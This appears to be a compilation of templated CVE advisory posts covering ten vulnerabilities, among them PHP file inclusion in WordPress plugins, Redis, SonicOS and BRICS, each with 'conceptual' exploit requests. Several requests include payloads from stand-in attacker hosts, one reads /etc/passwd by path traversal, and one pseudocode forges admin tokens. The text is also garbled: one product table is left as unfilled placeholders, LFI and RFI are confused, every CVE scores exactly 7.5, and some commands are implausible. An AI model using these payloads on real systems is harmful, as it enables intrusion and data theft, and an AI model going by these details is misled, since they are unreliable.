Author: Ameeba

Overview

The vulnerability identified as CVE-2025-39378 exposes a glaring security flaw within Holest Engineering Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light. This vulnerability can potentially lead to system compromise or data leakage if exploited, primarily affecting the users of the stated applications. The severity of this vulnerability necessitates immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-39378
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential for system compromise and data leakage

Affected Products

Product | Affected Versions

Holest Engineering Spreadsheet Price Changer for WooCommerce | n/a through 2.4.37
Holest Engineering Spreadsheet Price Changer for WP E-commerce – Light | n/a through 2.4.37

How the Exploit Works

The vulnerability stems from an improper control of filenames for include/require statements in PHP programs. This issue allows for PHP Local File Inclusion (LFI) that can be exploited by a remote attacker to execute arbitrary PHP code on the target system. This can lead to unauthorized access or control over the system, potentially leading to data leakage or system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited, via a PHP GET request:

GET /pricechanger.php?file=http://malicious-site.com/malicious_payload.php HTTP/1.1
Host: target.example.com

In this example, the attacker tricks the system into including and executing a PHP file from a remote server (`malicious-site.com`). This file (`malicious_payload.php`) contains the malicious code that leads to system compromise or data leakage.

Mitigation

To remediate this vulnerability, apply the vendor patch as soon as possible. If the patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, helping to filter out malicious requests.

Overview

This report provides an in-depth analysis of the CVE-2025-39360 vulnerability, a PHP Remote File Inclusion issue in the Grace Mag theme by Everest Themes. This vulnerability affects all versions up to and including 1.1.5 of the Grace Mag theme. The issue poses a significant threat due to its potential to compromise the system or leak sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-39360
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Grace Mag by Everest Themes | Up to 1.1.5

How the Exploit Works

The vulnerability stems from improper control of the filename for include/require statement in the PHP program. When exploited, this allows an attacker to include local files from the server, potentially leading to the execution of arbitrary PHP code. The attacker could then gain unauthorized access, compromise the system, or extract sensitive data.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited in HTTP request form:

GET /path/to/gracemag/index.php?page=../../../../../etc/passwd HTTP/1.1
Host: vulnerable-website.com

In this example, the attacker is attempting to include the “/etc/passwd” file, a critical system file on Unix-based systems, by traversing directories using the “../../” notation.

Mitigation Guidance

To mitigate this vulnerability, it is recommended that users apply the vendor’s patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, it’s crucial to remember that these are temporary solutions, and the patch should be applied as soon as possible to fully secure the system.

Overview

The CVE-2025-39359 vulnerability is a significant flaw in Code Work Web’s CWW Portfolio software. It involves an improper control of filename for Include/Require Statement in a PHP program, also known as a ‘PHP Remote File Inclusion’ vulnerability. This vulnerability can lead to potential system compromise or data leakage, making it a serious risk for any organization utilizing affected versions of CWW Portfolio.

Vulnerability Summary

CVE ID: CVE-2025-39359
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Code Work Web CWW Portfolio | Up to and including 1.3.1

How the Exploit Works

The PHP Local File Inclusion vulnerability allows an attacker to include files from remote servers. This can be exploited to execute arbitrary PHP code by uploading a malicious PHP script on a remote server and then making a request to the affected application including this script. Due to poor input validation, the application fails to properly sanitize the file name for the PHP Include/Require statement, allowing for malicious file inclusion.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-website.com

In the above example, the attacker’s malicious script located at “http://attacker.com/malicious_script.txt” would be included and executed on the vulnerable web server.

Mitigation and Recommendations

Users of the affected Code Work Web CWW Portfolio versions are advised to apply the vendor-supplied patch as soon as possible. As an interim solution, organizations can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to help mitigate the risk. However, it is crucial to note that these are temporary solutions and do not replace the need for patching the underlying vulnerability.

Overview

The CVE-2025-32921 vulnerability is a significant security flaw that affects users of WPoperation’s Arrival, a popular WordPress theme. The vulnerability stems from an improper control of filename for Include/Require Statement in the PHP Program, commonly known as ‘PHP Remote File Inclusion’. This vulnerability is of particular concern due to its potential for system compromise or data leakage, and it is essential for users to apply the necessary patches to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-32921
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WPoperation Arrival | n/a – 1.4.5

How the Exploit Works

An attacker exploiting this vulnerability could use a specially crafted PHP script to include a file from a remote server. This occurs due to improper control of filename for Include/Require Statement in PHP Program. By doing so, the attacker can execute arbitrary PHP code within the context of the vulnerable application, potentially leading to unauthorized system access or data leak.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example is a PHP script that includes a malicious file from a remote server.

<?php
// The vulnerable include statement
include($_GET['file'] . ".php");
// An attacker could exploit this by sending a request like:
// http://targetsite.com/vulnerable.php?file=http://malicious.com/malicious
?>

Mitigation and Recommendations

WPoperation has already released a patch to address this vulnerability, and all users are strongly urged to update to the latest version of Arrival. In the absence of a patch, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation. Additionally, input validation techniques should be used to validate user inputs for PHP include/require statements to prevent similar vulnerabilities in the future.

Overview

A critical vulnerability has been identified in Apache HttpClient 5.4.x. This vulnerability, classified under the CVE ID CVE-2025-27820, arises from a bug in the PSL (Public Suffix List) validation logic which disables domain checks, primarily affecting cookie management and hostname verification. This weakness could potentially lead to a system compromise or data leakage, making it a significant risk to organizations using the affected versions of Apache HttpClient.

Vulnerability Summary

CVE ID: CVE-2025-27820
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Apache HttpClient | 5.4.0 to 5.4.2

How the Exploit Works

The exploitation of this vulnerability can occur when a malicious actor sends a specially crafted request to the server using the affected versions of Apache HttpClient. Due to the bug in the PSL validation logic, the software does not perform adequate domain checks. This flaw can be leveraged to manipulate cookie management and hostname verification, potentially leading to unauthorized access or extraction of sensitive data.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Cookie: sessionid=malicious_cookie
{
"malicious_payload": "..."
}

In this example, the attacker exploits the PSL validation logic bug to inject a malicious cookie into the HTTP request. Successful exploitation could compromise the system and potentially lead to data leakage.

Mitigation Guidance

Users are advised to mitigate this vulnerability by applying the vendor patch as soon as possible. The Apache HttpClient team has released version 5.4.3, which resolves the identified bug. As a temporary mitigation measure, organizations can also use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent exploitation attempts.

Overview

The CVE-2021-47662 vulnerability represents a significant security threat, allowing an unauthenticated remote attacker to potentially trigger a DoS (Denial of Service) attack. This can be accomplished by simply connecting via HTTPS and triggering the shutdown button, causing system disruption and potential compromise. Given its severity, it is of utmost importance for affected users to understand and mitigate this vulnerability.

Vulnerability Summary

CVE ID: CVE-2021-47662
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

[Product] | [Version]
[Product] | [Version]
(Note: The actual product and version information would need to be obtained from the source data)

How the Exploit Works

An unauthenticated remote attacker can exploit this vulnerability by establishing an HTTPS connection to the target system and triggering the shutdown function. This could be achieved through crafted network packets or via a malicious web request. Due to missing authorization, the system fails to validate the identity of the attacker, resulting in a DoS condition.

Conceptual Example Code

Here’s an example of a malicious HTTP request that might be used to exploit this vulnerability:

GET /shutdown HTTP/1.1
Host: target.example.com

In this simplified example, the attacker sends a GET request to the shutdown endpoint of the target system. As there is no proper authorization in place, the system incorrectly processes the request, leading to a shutdown and consequently, a denial of service.

Mitigation and Response

Users are advised to update their systems with the latest vendor patches as soon as they are available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as a temporary mitigation measure. These systems can provide an additional layer of security by detecting and preventing unauthorized access attempts and malicious traffic.
It is also recommended to implement proper authorization checks for critical system functions and to restrict network access to these functions to trusted entities only. Regularly monitoring system logs can also aid in early detection of any suspicious activity.

Overview

A newly discovered vulnerability, identified as CVE-2025-27580, affects the Biomedical Research Informatics Computing System (BRICS) up to version 14.0.0-67. This vulnerability is significant due to its potential for allowing unauthenticated users with a Common Access Card (CAC) to escalate privileges and compromise accounts, including administrative accounts. As a result, this vulnerability can lead to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-27580
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Unauthorized access and potential compromise of system data

Affected Products

Product | Affected Versions

NIH BRICS | Up to 14.0.0-67

How the Exploit Works

The vulnerability arises from the BRICS system’s predictable token generation, which depends on username, time, and a fixed string. An attacker with knowledge of this could predict these tokens and use them to escalate privileges without proper authentication. They could then access and potentially compromise any account, including those with administrative privileges.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This pseudocode illustrates the potential sequence of actions an attacker might perform:

# Pseudocode for exploiting CVE-2025-27580
import time
def generate_token(username, timestamp, fixed_string):
return hash(username + timestamp + fixed_string)
username = "admin"
current_time = str(time.time())
fixed_string = "7Dl9#dj-"
malicious_token = generate_token(username, current_time, fixed_string)
# Use the malicious token to authenticate as the admin
send_authentication_request(username, malicious_token)

Mitigation

The recommended mitigation is to apply the vendor’s patch once available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation by detecting and preventing potential exploits of this vulnerability.

Overview

This report delves into the details of a critical vulnerability, CVE-2025-32818, that affects SonicOS SSLVPN Virtual office interface. The vulnerability, if exploited, allows a remote, unauthenticated attacker to crash the firewall, potentially leading to a Denial-of-Service (DoS) condition. It is a significant threat to internet security, potentially causing system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-32818
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial-of-Service, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

SonicOS SSLVPN | All versions prior to the patched version

How the Exploit Works

The exploit targets a Null Pointer Dereference vulnerability in the SonicOS SSLVPN Virtual office interface. An unauthorized user can send a specially crafted request to the interface, causing the system to reference a null pointer, consequently crashing the system and leading to a potential Denial-of-Service (DoS) condition.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request to the vulnerable interface:

GET /vulnerable/sslvpninterface HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "Null Pointer Dereference trigger" }

The malicious_payload here is designed to trigger the Null Pointer Dereference vulnerability in the SonicOS SSLVPN Virtual Office interface, thereby causing the system to crash and potentially leading to a Denial-of-Service (DoS) condition.
Remember that this is only a conceptual example and actual exploit code may vary based on the specific system configuration and vulnerability details.

Overview

This report examines the critical vulnerability, CVE-2025-21605, which affects Redis, an open-source in-memory database. By exploiting this vulnerability, an unauthenticated client can trigger unlimited growth of output buffers, causing the server to exhaust memory or be killed. This vulnerability presents a significant risk to any organization using affected Redis versions, as it could potentially lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-21605
Severity: High, CVSS score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Redis | 2.6 to 7.4.2

How the Exploit Works

The exploit takes advantage of the default Redis configuration that does not limit the output buffer of normal clients. An unauthenticated client can connect to the Redis server and cause unlimited growth of output buffers, even without providing a password. The output buffer grows from “NOAUTH” responses until the system runs out of memory. This eventually leads to service exhaustion and unavailability of memory.

Conceptual Example Code

The following pseudo command represents how the vulnerability might be exploited:

redis-cli -h target.example.com append NOAUTH "[large string of characters]"

In this example, an attacker continually appends a large string of characters to the ‘NOAUTH’ command, causing the output buffer to grow indefinitely.

Mitigation

The issue has been patched in Redis version 7.4.3. Users are urged to update to the patched version as soon as possible. If immediate patching is not feasible, users are advised to implement network access control tools such as firewalls, iptables, or security groups to block unauthenticated users from connecting to Redis. Alternatively, enabling TLS and requiring users to authenticate using client-side certificates can also help mitigate this vulnerability. As a temporary measure, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used to detect and prevent potential exploitation attempts.

Overview

A significant vulnerability, designated as CVE-2025-3530, has been identified in the WordPress Simple Shopping Cart plugin. This flaw is found in all versions up to and including 5.1.2. It allows an unauthenticated attacker to manipulate product prices, leading to potential financial loss and damage to business reputation. This vulnerability is of high importance due to the widespread use of the plugin and the serious nature of its impact.

Vulnerability Summary

CVE ID: CVE-2025-3530
Severity: High, CVSS Score: 7.5
Attack Vector: Web
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WordPress Simple Shopping Cart plugin | 5.1.2 and below

How the Exploit Works

The vulnerability is due to a flaw in the logic concerning the use of parameters during the cart addition process. The plugin uses the parameter ‘product_tmp_two’ to compute a security hash against price tampering but uses ‘wspsc_product’ to display the product. This inconsistency allows an attacker to substitute the details of a cheaper product while adding a more expensive item to the cart, thereby bypassing the intended payment process.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:

POST /add-to-cart HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"product_tmp_two": "cheap_product_id",
"wspsc_product": "expensive_product_id"
}

In this example, the attacker sends a POST request to add an expensive product to the cart but uses the ID of a cheaper product for the ‘product_tmp_two’ parameter. As a result, the price of the cheaper product is used in the transaction, and the attacker is able to purchase the expensive item at a reduced cost.

Countermeasures and Mitigation

Users are encouraged to apply the vendor patch as soon as possible. In the interim, the use of Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary mitigation.